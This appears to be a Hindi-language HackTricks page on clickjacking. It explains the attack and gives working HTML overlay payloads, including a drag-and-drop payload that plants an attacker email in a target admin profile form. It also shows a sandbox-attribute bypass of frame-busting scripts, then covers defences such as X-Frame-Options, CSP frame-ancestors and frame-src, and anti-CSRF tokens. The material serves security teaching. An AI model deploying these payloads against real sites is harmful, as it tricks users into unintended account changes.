20 KiB
क्लिकजैकिंग
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, HackTricks (https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos को PRs जमा करके।
Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो आसानी से बनाएं।
आज ही पहुंचें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
क्लिकजैकिंग क्या है
क्लिकजैकिंग हमले में, एक उपयोगकर्ता को धोखा देकर एक वेबपेज पर किसी तत्व पर क्लिक करने के लिए प्रेरित किया जाता है जो या तो अदृश्य होता है या एक विभिन्न तत्व के रूप में छलकर दिखाई देता है। यह मानिपुलेशन उपयोगकर्ता के लिए अनजाने परिणामों में ले जा सकता है, जैसे कि मैलवेयर का डाउनलोड, दुर्भाग्यपूर्ण वेब पेजों पर पुनर्निर्देशन, प्रमाणों या संएवी सूचना की प्रदान, धन की हस्तांतरण, या ऑनलाइन उत्पादों की खरीदारी।
फॉर्म ट्रिक को पूर्वानुपूर्ण करें
कभी-कभी एक पृष्ठ को लोड करते समय GET पैरामीटर का उपयोग करके एक फॉर्म के क्षेत्रों के मान को भरना संभव होता है। एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है और एक फॉर्म को अर्बिट्रेरी डेटा से भरने और उपयोगकर्ता को बटन सबमिट दबाने के लिए क्लिकजैकिंग पेलोड भेज सकता है।
ड्रैग एंड ड्रॉप के साथ फॉर्म को पूर्वानुपूर्ण करें
यदि आप उपयोगकर्ता से एक फॉर्म भरने की आवश्यकता है लेकिन आप उससे सीधे कुछ विशिष्ट जानकारी लिखने का नहीं कहना चाहते हैं (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं), तो आप उससे बस कुछ ड्रैग एंड ड्रॉप करने का कह सकते हैं जो आपके नियंत्रित डेटा को लिखेगा जैसे इस उदाहरण में।
मूल पेलोड
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
बहु-कदम पेलोड
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + क्लिक पेयलोड
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
यदि आपने XSS हमला पहचाना है जिसके लिए उपयोगकर्ता को किसी तत्व पर क्लिक करना होता है ताकि XSS को ट्रिगर किया जा सके और पृष्ठ Clickjacking के लिए विकल्पशील है, तो आप इसका दुरुपयोग करके उपयोगकर्ता को बटन/लिंक पर क्लिक करने में धोखा दे सकते हैं।
उदाहरण:
आपने खाते के कुछ निजी विवरणों में स्वयं XSS पाया है (विवरण जो केवल आप सेट और पढ़ सकते हैं)। इन विवरणों को सेट करने के लिए फॉर्म वाला पृष्ठ Clickjacking के लिए विकल्पशील है और आप GET पैरामीटर्स के साथ फॉर्म को पूर्व-लिखित कर सकते हैं।
__किसी हमलावर ने उस पृष्ठ पर Clickjacking हमला तैयार किया हो सकता है जिसमें फॉर्म को XSS पेलोड के साथ पूर्व-लिखित किया गया है और उपयोगकर्ता को धोखा देकर फॉर्म को सबमिट करने के लिए मजबूर किया जा सकता है। इसलिए, जब फॉर्म सबमिट किया जाता है और मान्यताएँ संशोधित की जाती हैं, तो उपयोगकर्ता XSS को निष्पादित करेगा।
Clickjacking को रोकने के लिए रणनीतियाँ
क्लाइंट-साइड रक्षा
क्लाइंट साइड पर निष्पादित स्क्रिप्ट क्रियाएँ कर सकते हैं जो Clickjacking को रोकने के लिए कार्रवाई कर सकते हैं:
- सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।
- सभी फ्रेम दिखाना।
- अदृश्य फ्रेम पर क्लिक रोकना।
- Clickjacking प्रयासों की पहचान और उपयोगकर्ताओं को चेतावनी देना।
हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्ट ऊर्जित किए जा सकते हैं:
- ब्राउज़र्स की सुरक्षा सेटिंग्स: कुछ ब्राउज़र्स इन स्क्रिप्ट्स को अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर ब्लॉक कर सकते हैं।
- HTML5 iframe
sandbox
विशेषता: एक हमलावरsandbox
विशेषता कोallow-forms
याallow-scripts
मानों के साथ सेट करके फ्रेम बस्टर स्क्रिप्ट को निष्क्रिय कर सकता है जिसमेंallow-top-navigation
नहीं है। यह फ्रेम को यह सत्यापित करने से रोकता है कि यह शीर्ष विंडो है, जैसे कि,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
सर्वर-साइड सुरक्षा
X-Frame-Options
X-Frame-Options
HTTP प्रतिक्रिया हेडर ब्राउज़र को <frame>
या <iframe>
में पृष्ठ को प्रदर्शित करने की जायज़त के बारे में सूचित करता है, Clickjacking को रोकने में मदद करता है:
X-Frame-Options: deny
- कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।X-Frame-Options: sameorigin
- केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।X-Frame-Options: allow-from https://trusted.com
- केवल निर्दिष्ट 'यूआरआई' पृष्ठ को फ्रेम कर सकता है।- सीमाएँ ध्यान दें: यदि ब्राउज़र इस निर्देशिका का समर्थन नहीं करता है, तो यह काम नहीं कर सकता है। कुछ ब्राउज़र CSP frame-ancestors निर्देशिका को अधिक पसंद करते हैं।
सामग्री सुरक्षा नीति (CSP) frame-ancestors निर्देश
CSP में frame-ancestors
निर्देश Clickjacking सुरक्षा के लिए सिफारिश किया गया तरीका है:
frame-ancestors 'none'
-X-Frame-Options: deny
के समान।frame-ancestors 'self'
-X-Frame-Options: sameorigin
के समान।frame-ancestors trusted.com
-X-Frame-Options: allow-from
के समान।
उदाहरण के लिए, निम्नलिखित CSP केवल एक ही डोमेन से फ्रेमिंग की अनुमति देता है:
Content-Security-Policy: frame-ancestors 'self';
अधिक विवरण और जटिल उदाहरण frame-ancestors CSP दस्तावेज़ीकरण और Mozilla की CSP frame-ancestors दस्तावेज़ीकरण में मिल सकते हैं।
सामग्री सुरक्षा नीति (CSP) के साथ child-src
और frame-src
सामग्री सुरक्षा नीति (CSP) एक सुरक्षा उपाय है जो Clickjacking और अन्य कोड प्रविष्टि हमलों को रोकने में मदद करता है जिसमें यह निर्दिष्ट किया जाता है कि ब्राउज़र को कौन से स्रोतों को सामग्री लोड करने की अनुमति देनी चाहिए।
frame-src
निर्देश
- फ्रेम के लिए मान्य स्रोतों को परिभाषित करता है।
default-src
निर्देशिका से अधिक विशेष।
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
यह नीति स्वयं (self) और https://trusted-website.com से फ्रेम को अनुमति देती है।
child-src
निर्देशिका
- वेब वर्कर्स और फ्रेम के लिए वैध स्रोत सेट करने के लिए CSP स्तर 2 में पेश किया गया।
- frame-src और worker-src के लिए एक फॉलबैक के रूप में काम करता है।
Content-Security-Policy: child-src 'self' https://trusted-website.com;
यह नीति एक ही मूल (self) और https://trusted-website.com से frames और workers को अनुमति देती है।
उपयोग नोट:
- पुराना हो रहा है: child-src को frame-src और worker-src के पक्ष में बदल रहा है।
- प्रतिस्थापन व्यवहार: यदि frame-src अनुपस्थित है, तो frames के लिए एक फॉलबैक के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
- सख्त स्रोत परिभाषण: उत्पीड़न रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।
JavaScript Frame-Breaking Scripts
पूरी तरह से अविश्वसनीय नहीं होने के बावजूद, जावास्क्रिप्ट आधारित फ्रेम-ब्रेकिंग स्क्रिप्ट का उपयोग एक वेब पृष्ठ को फ्रेम किए जाने से रोकने के लिए किया जा सकता है। उदाहरण:
if (top !== self) {
top.location = self.location;
}
एंटी-सीएसआरएफ टोकन का उपयोग करना
- टोकन मान्यता: वेब एप्लिकेशन में एंटी-सीएसआरएफ टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि राज्य-परिवर्तन वाले अनुरोधों को उपयोगकर्ता द्वारा इच्छापूर्वक किए जाते हैं और न कि क्लिकजैक्ड पेज के माध्यम से।
संदर्भ
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से निर्मित और स्वचालित करें।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।